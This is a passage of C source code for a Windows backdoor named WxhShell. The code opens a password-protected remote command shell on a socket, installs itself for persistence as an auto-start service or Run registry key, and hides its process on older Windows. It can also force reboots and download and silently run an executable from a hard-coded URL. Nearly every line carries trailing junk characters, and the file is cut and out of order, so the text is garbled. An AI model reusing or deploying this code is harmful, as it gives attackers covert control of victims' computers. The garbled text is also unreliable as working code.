    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H,GjPIG  
    if(Boot(SHUTDOWN)) ,C><n kx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \a|~#N3?  
    else { lGR0-Gh2  
    closesocket(wsh); bsU$$;  
    ExitThread(0); $<2d|;7r  
    } SZ[?2z  
    break; UxHI6,b  
    } SDE+"MjBY  
  // 获取shell e<9 ^h)G  
  case 's': {  I2i'  
    CmdShell(wsh); 7* Y*_cH5  
    closesocket(wsh); 5rck]L'  
    ExitThread(0); #'> )?]tn  
    break; Bx5xtJ|!  
  } |J:r]);@K  
  // 退出 #CI0G  
  case 'x': { \rxjvV4fcZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FA{Q6fi:2  
    CloseIt(wsh); :X'B K4EN  
    break; [[<TW}  
    } uQdy  
  // 离开 .4"BN<9  
  case 'q': { D>W&#A8&y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fUWrR1  
    closesocket(wsh); JmR2skoV,  
    WSACleanup(); %Y;^$%X%_  
    exit(1); d1c+Ii%  
    break; X=m^+%iD  
        } uk$MQ v*D  
  } A_U=`M=-  
  } XtZd% #2},  
ibQ xL3  
  // 提示信息 j[dZ*Jr_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F::Ki4{jJ  
} rL"]m_FK  
  } /LWk>[Z;  
;-py h(  
  return; hO.b?>3NL  
} \7qj hA@  
t(roj@!x_o  
// shell模块句柄 +3zQ"lLD^  
int CmdShell(SOCKET sock) *@#Gc%mGu  
{ N]iarYc  
STARTUPINFO si; Q) aZ0 Pt  
ZeroMemory(&si,sizeof(si)); ,|VLOY ^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PH8 88O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nZ'jjS[!  
PROCESS_INFORMATION ProcessInfo; Qu'#~#L`  
char cmdline[]="cmd"; H#YI7l2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /"A=Yf  
  return 0; ai?J  
} 2Ul8<${c{  
EHf,VIC8  
// 自身启动模式 `G: 1  
int StartFromService(void) ~:Z|\a58j  
{ NV/paoyx:*  
typedef struct iOv>g-t:  
{ _MIheCvV  
  DWORD ExitStatus; :'<;]~f  
  DWORD PebBaseAddress; /P9fcNP{y  
  DWORD AffinityMask; Q~wS2f`)  
  DWORD BasePriority; J`[jub  
  ULONG UniqueProcessId; wI 7gHp  
  ULONG InheritedFromUniqueProcessId; #P}n+w_@  
}   PROCESS_BASIC_INFORMATION; w$iPFZC'  
tF/Ni*\^rV  
PROCNTQSIP NtQueryInformationProcess; #=y)Wuo=  
ESoC7d&.K{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tx<^PV2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hVB(*WA^D  
,Il) tH  
  HANDLE             hProcess; ^}vf  
  PROCESS_BASIC_INFORMATION pbi; @UdF6 :T  
q+8de_"]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AHuIA{AdUR  
  if(NULL == hInst ) return 0; [+b8 !'|&  
#0h}{y E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -U$;\1--  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hTEb?1CXU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [6g$;SicT  
4Lk<5Ho  
  if (!NtQueryInformationProcess) return 0; Dl0{pGK~  
\DE, ,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C"5P7F{  
  if(!hProcess) return 0; ;?iu@h  
@ls/3`E/5E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fATVAv  
nJv=kk1|o  
  CloseHandle(hProcess); T<Y*();Zo  
2<8l&2}7]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s1[.L~;J  
if(hProcess==NULL) return 0; rt*>)GI]b  
5o4KV?"  
HMODULE hMod; b1'849i'y=  
char procName[255]; +U ziO#D  
unsigned long cbNeeded; _0^>^he  
`q^qe>'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k_u!E3{~  
7uw-1F5x7  
  CloseHandle(hProcess); )n9,?F#l  
K fVsnL_  
if(strstr(procName,"services")) return 1; // 以服务启动 NM:$Q<n  
j7w9H/XF}  
  return 0; // 注册表启动 n;=FD;}j+  
} {y5 L  
<"p-0=IgJ  
// 主模块 l SKq  
int StartWxhshell(LPSTR lpCmdLine) L;?h)8  
{ E+<GsN]  
  SOCKET wsl; M/[_~  
BOOL val=TRUE; ~AaEa,LQ  
  int port=0; ?ZC!E0]  
  struct sockaddr_in door; MK Sw  
,{(XT7hr  
  if(wscfg.ws_autoins) Install(); {*8G<&  
=6\^F i  
port=atoi(lpCmdLine); -\%5aXr  
(4q/LuP^d  
if(port<=0) port=wscfg.ws_port; j$6Q]5KdoS  
*(vh|  
  WSADATA data; [h B$%i]\<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hop| xtai;  
XGe;v~L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -Mrt%1g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $Q'LDmot  
  door.sin_family = AF_INET; 7KUf,0D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v \; /P  
  door.sin_port = htons(port); 3 .j/D^  
RRQv<x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ->IZZ5G<  
closesocket(wsl); i-wWbZ-  
return 1; ;C1#[U1Uy  
} T)q Uf H  
mb3aUFxA;  
  if(listen(wsl,2) == INVALID_SOCKET) { BaP'y8dVN  
closesocket(wsl); tG9C(D`G  
return 1; &F7_0iA P(  
} =)jo}MB  
  Wxhshell(wsl); d+]=l+&  
  WSACleanup(); QH7 GEj]  
I} Q+{/?/  
return 0; %52x:qGa  
Cq<Lj  
} &'Nzw2  
T]/>c  
// 以NT服务方式启动 Ax=)J{4v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }z9v*C  
{ &ZFHWI(P  
DWORD   status = 0; @}PX:*c  
  DWORD   specificError = 0xfffffff; eAP 8!  
z"QtP[_m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uxKO"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z'5&N5hx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s7:_!Nd@8  
  serviceStatus.dwWin32ExitCode     = 0; y>h9:q|  
  serviceStatus.dwServiceSpecificExitCode = 0; "u$XEA  
  serviceStatus.dwCheckPoint       = 0; /D|q-`*K  
  serviceStatus.dwWaitHint       = 0; s]A8C^;c  
[%6)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5f0g7w =-  
  if (hServiceStatusHandle==0) return; #M#$2Vt  
x)$0Nr62D  
status = GetLastError(); :p)^+AF"5  
  if (status!=NO_ERROR) M5:*aCN6P  
{ jVoD9H F/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iY,oaC~?"N  
    serviceStatus.dwCheckPoint       = 0; qZV|}M>P)  
    serviceStatus.dwWaitHint       = 0; j}tGcFwvSN  
    serviceStatus.dwWin32ExitCode     = status; ^ )!eiM  
    serviceStatus.dwServiceSpecificExitCode = specificError; '+iLW~   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (IjM  
    return; f2Xn!]o  
  } ~@@$-,}X   
@6R6.i5d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^PJN$BJx  
  serviceStatus.dwCheckPoint       = 0; <|G!Qn?2-  
  serviceStatus.dwWaitHint       = 0; {w"Cr0F,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }$uwAevP{y  
} `0_ Y| 4KB  
G[_Z|Xi1  
// 处理NT服务事件,比如:启动、停止 OfA+|xT&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VhMVoW  
{ br k*;  
switch(fdwControl) ~d\V>  
{ <rui\/4NJ  
case SERVICE_CONTROL_STOP: :w|=o9J  
  serviceStatus.dwWin32ExitCode = 0; Ets6tM`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g6.I~o Q j  
  serviceStatus.dwCheckPoint   = 0; ;:R2 P@6f  
  serviceStatus.dwWaitHint     = 0; ?-9uf\2_  
  { ;0?OBUDO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :mLXB75gH  
  } ywyg(8>zE  
  return; fiU#\%uJg  
case SERVICE_CONTROL_PAUSE: *D[yA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %`lJAW[  
  break; S+t2k&pm  
case SERVICE_CONTROL_CONTINUE: *6=9 8C4I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )xz_ }6b]  
  break; NZ!I >  
case SERVICE_CONTROL_INTERROGATE: 1#+|RL4o  
  break; f4d-eXGwx`  
}; p_JWklg^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "j8=%J{  
} l1L8a I,8  
`e3$jy@  
// 标准应用程序主函数 JwWxM3(%t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T9kc(i'  
{ 9CN'2 9c  
B#5[PX  
// 获取操作系统版本 FK-q-PKO#.  
OsIsNt=GetOsVer(); jpW_q+^?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JqYa~6 C  
>YF=6zq.`  
  // 从命令行安装 8uW%jG3/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2_M+o]Z^  
}o[<1+W(.  
  // 下载执行文件 q j9q   
if(wscfg.ws_downexe) { 61gyx6v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DYgB_Iak  
  WinExec(wscfg.ws_filenam,SW_HIDE); K@Q%NK,  
} iG~&uEAJ  
OqF8KJnO;  
if(!OsIsNt) { }'>mT,ytgk  
// 如果时win9x,隐藏进程并且设置为注册表启动 *W,[k&;:  
HideProc(); Hmx.BBz  
StartWxhshell(lpCmdLine); uKD }5M?{  
} ,D<U PtPQ  
else dmLx$8  
  if(StartFromService()) !yq98I'  
  // 以服务方式启动 q.@% H}  
  StartServiceCtrlDispatcher(DispatchTable); ?(Plb&kR  
else O2 + K  
  // 普通方式启动 ^si[L52BZ  
  StartWxhshell(lpCmdLine); !V/7q'&t=  
2:nI4S  
return 0; "f~OC<GdYs  
} s6_i>  
b9-3  
iAXGf V  
lHTr7uF(  
=========================================== zh\"sxL  
15aPoxo>  
7kT X  
tuuwoiQ*`  
Hfo<EB2Y9N  
`f~$h?}3-@  
" Lz:FR*  
YH^@8   
#include <stdio.h> EQ :>]O  
#include <string.h> -Xw S?*O  
#include <windows.h> xpwy%uo  
#include <winsock2.h> E m+&I  
#include <winsvc.h> Rxlv:  
#include <urlmon.h>  +`ov1h  
SK 5]7C2  
#pragma comment (lib, "Ws2_32.lib") |m@>AbR5dk  
#pragma comment (lib, "urlmon.lib") +StsSZ  
w&J_c8S  
#define MAX_USER   100 // 最大客户端连接数 8ZCA vEy  
#define BUF_SOCK   200 // sock buffer .4$F~!aj9  
#define KEY_BUFF   255 // 输入 buffer [*0M$4  
'#,C5*`  
#define REBOOT     0   // 重启 WQD:~*C:  
#define SHUTDOWN   1   // 关机 6uUn  
Z*h}E  
#define DEF_PORT   5000 // 监听端口 fM*?i"j;Y  
G8/q&6f_  
#define REG_LEN     16   // 注册表键长度 ,\#s_N 7  
#define SVC_LEN     80   // NT服务名长度 cN&:V2,  
C|3cQ{  
// 从dll定义API ZBN,%P!P0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 72*j6#zS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KMQPA>w#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eL}X().  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `P*BW,P'T  
BS?$eai@:9  
// wxhshell配置信息 bz~aj}"`  
struct WSCFG { [/ertB  
  int ws_port;         // 监听端口 2cRru]VZ5  
  char ws_passstr[REG_LEN]; // 口令 I Xm[c@5l  
  int ws_autoins;       // 安装标记, 1=yes 0=no $% gz, {  
  char ws_regname[REG_LEN]; // 注册表键名 Sl<1Rme=w  
  char ws_svcname[REG_LEN]; // 服务名 AP1ZIc6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z'}%Mkm`i}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ozl!vf# kv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;vX1U8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R(cg`8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .c__T {<)[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d\JB jT1g  
S'NLj(  
}; p0]\QM l1  
:)tsz;  
// default Wxhshell configuration V d]7v  
struct WSCFG wscfg={DEF_PORT, D<<q5gG  
    "xuhuanlingzhe", Wv;,@xTZ  
    1, ?.lo[X<,*  
    "Wxhshell", DBLM0*B  
    "Wxhshell", zpeCT3Q5O  
            "WxhShell Service", 'RzO`-dr  
    "Wrsky Windows CmdShell Service", u=vBjaN2_w  
    "Please Input Your Password: ", gG}H5uN  
  1, BF;}9QebmS  
  "http://www.wrsky.com/wxhshell.exe", p|dn&<kd  
  "Wxhshell.exe" b0f6p>~q^  
    }; |>m'szca4  
8c_X`0jy  
// 消息定义模块 i ?uX'apk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B I3fk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <hTHY E=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #M+_Lk3  
char *msg_ws_ext="\n\rExit."; P B5h5eX  
char *msg_ws_end="\n\rQuit."; .]JIo&>5  
char *msg_ws_boot="\n\rReboot..."; T{"Ur :p  
char *msg_ws_poff="\n\rShutdown..."; k*\)z\f  
char *msg_ws_down="\n\rSave to "; gFu,q`Vf*  
W3\E; C-g0  
char *msg_ws_err="\n\rErr!"; z,2*3Be6V  
char *msg_ws_ok="\n\rOK!"; $ Y^0l  
p4UEhT  
char ExeFile[MAX_PATH]; e5n]@mu%  
int nUser = 0; <m VFC  
HANDLE handles[MAX_USER]; [?O4l`  
int OsIsNt; 1sonDBd0@;  
n00J21  
SERVICE_STATUS       serviceStatus; u U>L (  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p|mFF0SL  
(c^ {T)  
// 函数声明 ;BT7pyu%[  
int Install(void); 3/yt  
int Uninstall(void); dC-~=}HR^  
int DownloadFile(char *sURL, SOCKET wsh); KRcB_(  
int Boot(int flag); sK&kp=zu  
void HideProc(void); ZZTf/s*  
int GetOsVer(void); ]FIIs58IM  
int Wxhshell(SOCKET wsl); ~K<h~TNP  
void TalkWithClient(void *cs); ,r]H+vWS  
int CmdShell(SOCKET sock); -38"S;M8  
int StartFromService(void); )cZHBG.0H  
int StartWxhshell(LPSTR lpCmdLine); .>.GQUr  
#=33TvprR2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  G +41D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bj6Yz,g F  
bGK*1FlH  
// 数据结构和表定义 k<+Sj h$  
SERVICE_TABLE_ENTRY DispatchTable[] = d ePk}Sn  
{ U=69q]  
{wscfg.ws_svcname, NTServiceMain}, ju "?b2f  
{NULL, NULL} Hc8He!X*#  
}; dJJq]^|  
^H1m8=  
// 自我安装 -o`K/f}d  
int Install(void) QJrXn6`  
{ b7~Jl+m  
  char svExeFile[MAX_PATH]; KF1iYo>p  
  HKEY key; [)GRP  
  strcpy(svExeFile,ExeFile); -$0}rfX  
#\QW <I#/  
// 如果是win9x系统,修改注册表设为自启动 <g;,or#$  
if(!OsIsNt) { e!gNd>b {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _X;,,VEV!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZeU){CB  
  RegCloseKey(key); wCR! bZ w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ecoI-@CAI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8sc2r  
  RegCloseKey(key); H@$K /  
  return 0; Q#Zazvk  
    } /Wjc\n$'  
  } <2&qIvHL  
} &B[*L+-E  
else { HQ" trV  
}zsIp,  
// 如果是NT以上系统,安装为系统服务 . _|=Btoo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L8f+uI   
if (schSCManager!=0) -s`Wd4AP  
{ 0Ui_Trlc  
  SC_HANDLE schService = CreateService ecJjE 56P  
  ( 1hgIR^;[b  
  schSCManager, CrL9|78  
  wscfg.ws_svcname, ]BbV\#  
  wscfg.ws_svcdisp, `Ds=a`^b  
  SERVICE_ALL_ACCESS, mI4GBp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _|0#  
  SERVICE_AUTO_START, &dmIv[LU  
  SERVICE_ERROR_NORMAL, :.]EM*p?GV  
  svExeFile, %7aJSuQN%  
  NULL, *GBV[D[G,  
  NULL, (@xC-*  
  NULL, Z$KyK.FUU  
  NULL, %N ~c9B  
  NULL )e`9U.C  
  ); A^X\  
  if (schService!=0) 7sOAaWx  
  { rA B=H*|6  
  CloseServiceHandle(schService); wbKJ:eWgt  
  CloseServiceHandle(schSCManager); wzd(= *N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D})/2O p   
  strcat(svExeFile,wscfg.ws_svcname); #-G@p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jLI1Ed  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y] D\i5Xv  
  RegCloseKey(key); &&P9T/Zks  
  return 0; uj.$GAtO)  
    } $p0D9mF  
  } 3!gz^[!?EN  
  CloseServiceHandle(schSCManager); #t(/wa4  
} { >[ ]iX  
} V61oK  
/4 pYhJ8S  
return 1; lqL5V"2Y  
}  ArAe=m!u  
JvW7h(u7g  
// 自我卸载 4_j_!QH87  
int Uninstall(void)  ov,  
{ qg`ae  
  HKEY key; .`+~mQ Wn  
gAsmPI.K  
if(!OsIsNt) { Qu=b-9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }(Fmr7%m  
  RegDeleteValue(key,wscfg.ws_regname); !]g[u3O  
  RegCloseKey(key); U+B"$yBR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *k,3@_5  
  RegDeleteValue(key,wscfg.ws_regname); E Zf|>^N  
  RegCloseKey(key); 9D=X3{be#  
  return 0; |mn} wNUN]  
  } ri59LYy=  
} ">t^jt{  
} uchQv]VB  
else { T3 ie-G@<  
,"#nJC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hf9i%,J  
if (schSCManager!=0) )z74,n7-  
{ 4vG-d)"M2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O4oN)  
  if (schService!=0) 'R+^+urq^  
  { VpHwc!APq  
  if(DeleteService(schService)!=0) { DGCvH)Q  
  CloseServiceHandle(schService); ((`{-y\K  
  CloseServiceHandle(schSCManager); e#h&Xa  
  return 0; P (7el  
  } Qfy_@w]  
  CloseServiceHandle(schService); z,m3U(  
  } `V V >AA5  
  CloseServiceHandle(schSCManager); iz/CC V L  
} |&Mo Qxw@  
} TK' 5NM+4  
(VN'1a (  
return 1; oz{X"jfu  
} <>n|_6'$90  
hkb\ GcOj  
// 从指定url下载文件 kDm uj>D  
int DownloadFile(char *sURL, SOCKET wsh) vqf}(/.D  
{ $+4 4US  
  HRESULT hr; [3-u7Fx!  
char seps[]= "/"; .Er+*j;&w  
char *token; 1/:vFX  
char *file; 6-"tQ,AZ  
char myURL[MAX_PATH]; diM*jN#  
char myFILE[MAX_PATH]; RbxQTM_:M  
e> 9X  
strcpy(myURL,sURL); 7lwI]/ZH*  
  token=strtok(myURL,seps); ]rY9t@  
  while(token!=NULL) 'G % ]/'_U  
  { cW0\f5[/  
    file=token; VM<0_R24z  
  token=strtok(NULL,seps); F{ vT^/  
  } ZR3,dW6S  
8h|}Q_  
GetCurrentDirectory(MAX_PATH,myFILE); sRcd{)|Cq  
strcat(myFILE, "\\"); EmUn&p%hI  
strcat(myFILE, file); [&&#~gz  
  send(wsh,myFILE,strlen(myFILE),0); }15&<s  
send(wsh,"...",3,0); ~$4(|Fq/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UYZC% $5x  
  if(hr==S_OK) UIf#Gy|l  
return 0; (NR( )2  
else  }E(w@&  
return 1; (_}q>3  
B:v_5e\f@  
} !F}GSDDV*  
|-{ Hy(9  
// 系统电源模块 Y9#dAI[Gce  
int Boot(int flag) ,|\\C6s  
{ `g1?Q4h  
  HANDLE hToken; xV14Y9  
  TOKEN_PRIVILEGES tkp; .bp#YU,m  
58#nYt  
  if(OsIsNt) { [W$Mn.5<s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )_! a:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S#p_Y^A  
    tkp.PrivilegeCount = 1; z0ufLxq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Il@K8?H@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3A"TpR4f`  
if(flag==REBOOT) { Kzq^f=p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ynMYf  
  return 0; OMjPC_  
} hC<E4+5.,  
else { mpwh=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {_\dwe9  
  return 0; 5X];?(VTsb  
} Px?"5g#+  
  } 1nvT={'R  
  else { [Pp#r&4H  
if(flag==REBOOT) { *!`&+w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X{!,j}  
  return 0; R'B_YKHBY  
} J7{D6@yLS  
else { o+}1M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X~o;jJC  
  return 0; 'NjeF&#6  
} &DYC3*)Jih  
} '*`n"cC:  
.,S`VNU  
return 1; k-^^Ao*@  
} NF |[j=?  
4,QA {v  
// win9x进程隐藏模块 $/Q\B(X3  
void HideProc(void) dVLrA`'P*  
{ G2!<C-T{2  
jc:=Pe!E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4<1V  
  if ( hKernel != NULL ) 1l^[%0  
  { t6 -fG/Kc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SufM ~9Ll  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _[&.`jTFn  
    FreeLibrary(hKernel); G){+.X4g3  
  } uInI{>  
(?,jnnub  
return; ESIJ QM-[+  
} H[pvC=O=  
NzhWGr_x'  
// 获取操作系统版本 2'W# x  
int GetOsVer(void) q%A>q ;l:  
{ $1s>efP-  
  OSVERSIONINFO winfo; Rd;t}E$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PW"?* ~&  
  GetVersionEx(&winfo); ?@MY+r_G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tJtp1$h  
  return 1; &l-d_dh  
  else HtE^7i*_  
  return 0; 438r]f?0|{  
} DrBkR` a?  
jc>B^mqx  
// 客户端句柄模块 Jk|DWZ  
int Wxhshell(SOCKET wsl) o(v7&m;  
{ 4UW)XLu6T7  
  SOCKET wsh; 6=Q6J  
  struct sockaddr_in client; Ax@7RJ||  
  DWORD myID; c-.F {~  
"[z/\l8O  
  while(nUser<MAX_USER) Q-G8Fo%#,E  
{ ~tW<]l7  
  int nSize=sizeof(client); 3_ E}XQd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z5wQhhH  
  if(wsh==INVALID_SOCKET) return 1; ~pI`_3  
wLO"[,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D"fjk1  
if(handles[nUser]==0) k{Y\YG%b  
  closesocket(wsh); $OGMw+$C ^  
else w*@9:+  
  nUser++; I~"l9Jc!"  
  } ?6N\AM '  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7uv"#mq  
8"ZcKxDk  
  return 0; v{1g`E  
} 4>Q] \\Lc  
jt3W.^6HO  
// 关闭 socket XWz~*@ci  
void CloseIt(SOCKET wsh) 67Tu8I/r  
{ #t# S(A9)  
closesocket(wsh); e cvZwL  
nUser--; T{#=A$vu  
ExitThread(0); =:xJZy$  
} v )2yR~J  
{JKG-0)z?  
// 客户端请求句柄 oOXJ7 |n  
void TalkWithClient(void *cs) @ K2Ncb7  
{ /<O9^hA|  
I;$tBgOWq  
  SOCKET wsh=(SOCKET)cs; !+ UXu]kA  
  char pwd[SVC_LEN]; eIP k$j{e  
  char cmd[KEY_BUFF]; x< d ew  
char chr[1]; ~7\`qH  
int i,j; )kKeA  
3%x-^.  
  while (nUser < MAX_USER) { Xh~oDnP  
t[b(erO'  
if(wscfg.ws_passstr) { B(- F|q\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~g~`,:Qc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0r&FH$  
  //ZeroMemory(pwd,KEY_BUFF); q7rX4-G$  
      i=0; -/7@ A  
  while(i<SVC_LEN) { vL"n oLs  
<`A!9+  
  // 设置超时 zrtbk~v8y  
  fd_set FdRead; j_zy"8Y{  
  struct timeval TimeOut; 73nmDZO|  
  FD_ZERO(&FdRead); dW^#}kN7V  
  FD_SET(wsh,&FdRead); ~ :B/`1[m  
  TimeOut.tv_sec=8; 0R&7vn  
  TimeOut.tv_usec=0; 3`"k1W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hGUQdTNP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }4Gn$'e  
R3BK\kf&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1_n5:  
  pwd=chr[0]; Z3Xgi~c  
  if(chr[0]==0xd || chr[0]==0xa) { -fK_F6_\]  
  pwd=0; $7Lcn9 ?G  
  break; B,4GxoX`  
  } p1ER<_fp  
  i++; o3OJI_ v &  
    } "KY]2v.  
bG)6p05Oa  
  // 如果是非法用户,关闭 socket <&t[E0mU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SQw"mO  
} K~8!Gh{h]  
.d4&s7n0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]b^bc2:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` -<S13  
z`8>$9  
while(1) { VF"c}  
kf)s3I/`(  
  ZeroMemory(cmd,KEY_BUFF); <|a9r: [  
2l8z/o7v  
      // 自动支持客户端 telnet标准   i}5+\t[Q  
  j=0; wS:`c J  
  while(j<KEY_BUFF) { F2=#\U$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QVN @B[9  
  cmd[j]=chr[0];  $)(Zt^  
  if(chr[0]==0xa || chr[0]==0xd) { Pv8AWQQJ  
  cmd[j]=0; ^DR`!.ttr  
  break; D4+OWbf6  
  } [rhK2fr:i  
  j++; -]MZP:s  
    } O<0-`=W,a  
8O^z{Yh7  
  // 下载文件 }GGH:v  
  if(strstr(cmd,"http://")) { xSjs+Y;Mu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sQY0Xys<4  
  if(DownloadFile(cmd,wsh)) Bq \WG=Fd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /9C>{29x!  
  else jATN):8W  
